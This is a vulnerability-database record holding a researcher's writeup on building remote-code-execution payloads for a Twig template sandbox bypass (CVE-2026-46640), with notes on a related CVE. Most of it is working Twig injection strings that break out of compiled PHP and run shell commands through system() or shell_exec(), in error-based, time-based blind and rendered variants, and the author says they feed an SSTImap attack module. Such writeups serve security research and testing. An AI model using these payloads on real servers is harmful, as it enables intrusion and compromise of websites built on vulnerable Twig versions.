{"uuid": "9523caf7-62a4-4f79-86b3-33bad7309d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-46633", "type": "seen", "source": "https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128", "content": "# CVE-2026-46640 writeup\n\n![Report version](https://img.shields.io/badge/Report_version-1.0-purple)\n![Last modified](https://img.shields.io/badge/Last_modified-06.06.2026-purple)\n![CVE-2026-46640](https://img.shields.io/badge/CVE--2026--46640-8.7-orange)\n[![SSTImap module](https://img.shields.io/badge/SSTImap_module-extras/CVE--2026--46640-blue)](https://github.com/vladko312/extras)\n\nI recently learned about multiple sandbox bypasses discovered in Twig by project Glasswing.\nFrom the descriptions, only [CVE-2026-46640](https://github.com/advisories/GHSA-45vw-wh46-2vx8) and [CVE-2026-46633](https://github.com/advisories/GHSA-7p85-w9px-jpjp) seemed universally exploitable, so I decoded to research them.\nThis writeup documents my development of payloads for the CVE-2026-46640 and the corresponding [SSTImap](https://github.com/vladko312/sstimap) module.\n\n- [Initial observations](#initial-observations)\n- [Compiled template analysis](#compiled-template-analysis)\n- [First payload](#first-payload): base for **Error-Based** and **Time-Based Blind** payloads\n- [Second payload](#second-payload): base for **Rendered** and **Boolean Error-Based Blind** payloads\n- [SSTImap module](#sstimap-module)\n- [Note on CVE-2026-46633](#note-on-cve-2026-46633)\n\n## Initial observations\n\nFrom the descriptions, both CVE-2026-46640 and CVE-2026-46633 seemed deceptively simple.\nI decided to focus on CVE-2026-46640 first, as it did not seem to involve any escaping.\n\nSimply trying to recreate the payload from the description allowed me to confirm the presence of code injection using syntax errors:\n\n```php\n{{_self.(\" test \")}}\n```\n\nI discovered a way to avoid a syntax error, but got no code execution and the same error as for a regular text string:\n\n```php\n{{_self.(\" ;system('sleep 5');// \")}}\n```\n\nIt seems like this error occurs before the injected code is reached.\nI decided to check the generated code to better understand the injection context.\n\n## Compiled template analysis\n\n```php\n\n     */\n    private array $macros = [];\n\n    public function __construct(Environment $env)\n    {\n        parent::__construct($env);\n\n        $this-&gt;source = $this-&gt;getSourceContext();\n\n        $this-&gt;parent = false;\n\n        $this-&gt;blocks = [\n        ];\n    }\n\n    protected function doDisplay(array $context, array $blocks = []): iterable\n    {\n        $macros = $this-&gt;macros;\n        // line 1\n        yield $this-&gt;getTemplateForMacro(\"macro_ ;system('sleep 5');// \", $context, 1, $this-&gt;getSourceContext())-&gt;macro_ ;system('sleep 5');// (...[]);\n        yield from [];\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getTemplateName(): string\n    {\n        return \"tpl\";\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function isTraitable(): bool\n    {\n        return false;\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getDebugInfo(): array\n    {\n        return array (  42 =&gt; 1,);\n    }\n\n    public function getSourceContext(): Source\n    {\n        return new Source(\"\", \"tpl\", \"\");\n    }\n}\n```\n\nAs you might notice, the only two places, where the payload is used, are in the same line of code inside `doDisplay` function:\n\n```php\nyield $this-&gt;getTemplateForMacro(\"macro_ ;system('sleep 5');// \", $context, 1, $this-&gt;getSourceContext())-&gt;macro_ ;system('sleep 5');// (...[]);\n```\n\nThe first time, our payload is correctly escaped inside the string, but the second injection point allows arbitrary code.\nThe injected code is not executed, since `getTemplateForMacro` right before it causes a fatal error.\n\n## First payload\n\nSince our code inside `doDisplay` will never be reached, we need to escape the context of that function and inject the code there.\nFully escaping the class definition would be possible, but it would make the payload very long.\n\nAs a result, I decided to try injecting a function inside the generated class.\nThe part after the injection contains `yield`, turning that function into a generator.\nSince a lot of useful overridable functions can't be generators, I added an unused second function.\n\nFor a simple payload I decided to use `__destruct()`, as the object will be destroyed after the error:\n\n```php\n{{_self.(\";}function __destruct(){system('id');}function a(){//\")}}\n```\n\nThis payload worked and printed the command output after the error message.\nSince PHP allows changing error visibility inside dhe code, I made a proper **Error-Based** payload:\n\n```php\n{{_self.(\";}function __destruct(){error_reporting(1);ini_set('display_errors', 1);call_user_func(shell_exec('id'));}function a(){//\")}}\n```\n\nI also used the same payload idea to create **Time-Based Blind** payload:\n\n```php\n{{_self.(\";}function __destruct(){system('id &amp;&amp; sleep 5');}function a(){//\")}}\n```\n\n## Second payload\n\nThe previous approach of bypassing the error does not prevent rendering from breaking.\n**Boolean Error-Based Blind** exploitation would be more stable if the page would be rendered normally.\n\nThe fatal error is caused by `getTemplateForMacro` function defined in the parent `Twig` class.\nThis allows us to override this function inside our injected code:\n\n```php\n{{_self.(\";}function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{system('id');return $this;}function a(){//\")}}\n```\n\nThis already works, printing the command output, but generates a warning.\nThis is bad, as it might break automatic detection or cause some WAF to block the response.\nThe warning can be removed by defining a variable called `$macro_`:\n\n```php\n{{_self.(\";}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{system('id');return $this;}function a(){//\")}}\n```\n\nThis payload gives us a form of rendered code execution, but there is still a problem.\nIf we only control a part of the template (e.g. using SSTI), the part after our payload will not be rendered.\n\nWe already captured the rest of the rendering function inside our unused function `a()`.\nTo finish the rendering process we can use `yield from` syntax:\n\n```php\n{{_self.(\";yield from $this-&gt;a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{system('id');return $this;}function a(){//\")}}\n```\n\nThis payload was used for **Rendered** and **Boolean Error-Based Blind** payloads in my SSTImap module.\n\nWhile writing this writeup, I discovered another problem.\nThis payload overrides the `getTemplateForMacro` function and so will break the rendering of real macros.\n\nTo fix that, we can add a keyword inside the comment and call `parent::getTemplateForMacro` if it is not present:\n\n```php\n{{_self.(\";yield from $this-&gt;a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\\\Source $source):Twig\\\\Template{if(!str_contains($name,'sstimap')){return parent::getTemplateForMacro($name,$context,$line,$source);}system('id');return $this;}function a(){//sstimap\")}}\n```\n\nThis payload will only override `getTemplateForMacro` behaviour for macro names containing `sstimap`.\n\n## SSTImap module\n\nAdapting payloads for the SSTImap module was quite easy, since the code injection is not restricted.\nI was able to mostly reuse PHP code injection payloads as the injected code with minimal modifications.\n\nThe only problem I encountered was related to the difference between the two discovered payloads.\nI initially used a full `__destruct()`-based injection payload for file uploads.\nFor integrity verification, payload provided PHP code to be evaluated by technique-specific payloads.\n\nThis caused the problem, as the two different payloads execute injected code at different steps of the rendering.\nIf the file was uploaded to a relative path, upload and verification might be executed in different directories:\n\n- **Rendered** and **Boolean Error-Based Blind** are executed inside the website directory as part of regular rendering (as if the code was in the webpage).\n- **Error-Based** and **Time-Based Blind** payloads are executed in the working directory of the webserver, as they are triggered after a fatal error already broke rendering.\n\n## Note on CVE-2026-46633\n\nSince CVE-2026-46633 affects all prior versions, it would be a much more useful plugin.\nNot only would it provide sandbox escapes for Twig &gt;=3.3.8 &lt;3.15.0, but it would allow code injection and sandbox bypasses for older Twig versions.\nCurrently, there are no known universal payloads for Twig &gt;1.19 &lt;2.10, even for unsandboxed environments.\n\nI researched CVE-2026-46633, but I was unable to reach the execution of the injected code.\nI'm not sure if it is possible, so I will present my findings in case someone will figure it out.\nWorking RCE payloads are always welcome in PRs/issues of the [SSTImap extras](https://github.com/vladko312/extras) repo.\n\nCode injection is possible using `with ... as ...` syntax of the `{% use ... %}` tag and can be verified with a syntax error:\n\n```php\n{% use \"' test\" with a as b %}\n```\n\nThe injected payload is escaped, which breaks a lot of potential execution strategies:\n- I was unable to bypass the escaping of characters like `\"` and `$`.\n- Single quotes are not escaped, which is the source of the vulnerability.\n- Backslash-based escapes are evaluated before escaping (e.g. `\\x24` becomes `\\$`)\n\nAs in CVE-2026-46640, the code is injected inside a function after a fatal error.\n- The injection is inside the `__construct()`, so `__destruct()` is never called.\n- Escaping of `$` prevents us from defining functions with arguments.\n- I was unable to find overridable functions that would be executed.\n- Escaping class definition would require defining `doDisplay` with arguments.\n\nHere is the compiled template code, for the better understanding of the injection context:\n\n```php\n\n     */\n    private array $macros = [];\n\n    public function __construct(Environment $env)\n    {\n        parent::__construct($env);\n\n        $this-&gt;source = $this-&gt;getSourceContext();\n\n        $this-&gt;parent = false;\n\n        // line 1\n        $_trait_0 = $this-&gt;loadTemplate(\"' test\", \"tpl\", 1);\n        if (!$_trait_0-&gt;unwrap()-&gt;isTraitable()) {\n            throw new RuntimeError('Template \"'.\"' test\".'\" cannot be used as a trait.', 1, $this-&gt;source);\n        }\n        $_trait_0_blocks = $_trait_0-&gt;unwrap()-&gt;getBlocks();\n\n        if (!isset($_trait_0_blocks[\"a\"])) {\n            throw new RuntimeError('Block \"a\" is not defined in trait \"' test\".', 1, $this-&gt;source);\n        }\n\n        $_trait_0_blocks[\"b\"] = $_trait_0_blocks[\"a\"]; unset($_trait_0_blocks[\"a\"]); $this-&gt;traitAliases[\"b\"] = \"a\";\n\n        $this-&gt;traits = $_trait_0_blocks;\n\n        $this-&gt;blocks = array_merge(\n            $this-&gt;traits,\n            [\n            ]\n        );\n    }\n\n    protected function doDisplay(array $context, array $blocks = []): iterable\n    {\n        $macros = $this-&gt;macros;\n        yield from [];\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getTemplateName(): string\n    {\n        return \"tpl\";\n    }\n\n    /**\n     * @codeCoverageIgnore\n     */\n    public function getDebugInfo(): array\n    {\n        return array (  35 =&gt; 1,);\n    }\n\n    public function getSourceContext(): Source\n    {\n        return new Source(\"\", \"tpl\", \"\");\n    }\n}\n```\n\nCode is unsafely injected on line 42 (only present when using `with ... as ...` syntax):\n\n```php\nthrow new RuntimeError('Block \"a\" is not defined in trait \"' test\".', 1, $this-&gt;source);\n```\n\nWithout syntax error, the execution is interrupted by fatal error caused by line 35:\n\n```php\n$_trait_0 = $this-&gt;loadTemplate(\"' test\", \"tpl\", 1);\n```\n", "creation_timestamp": "2026-06-06T23:55:29.000000Z"}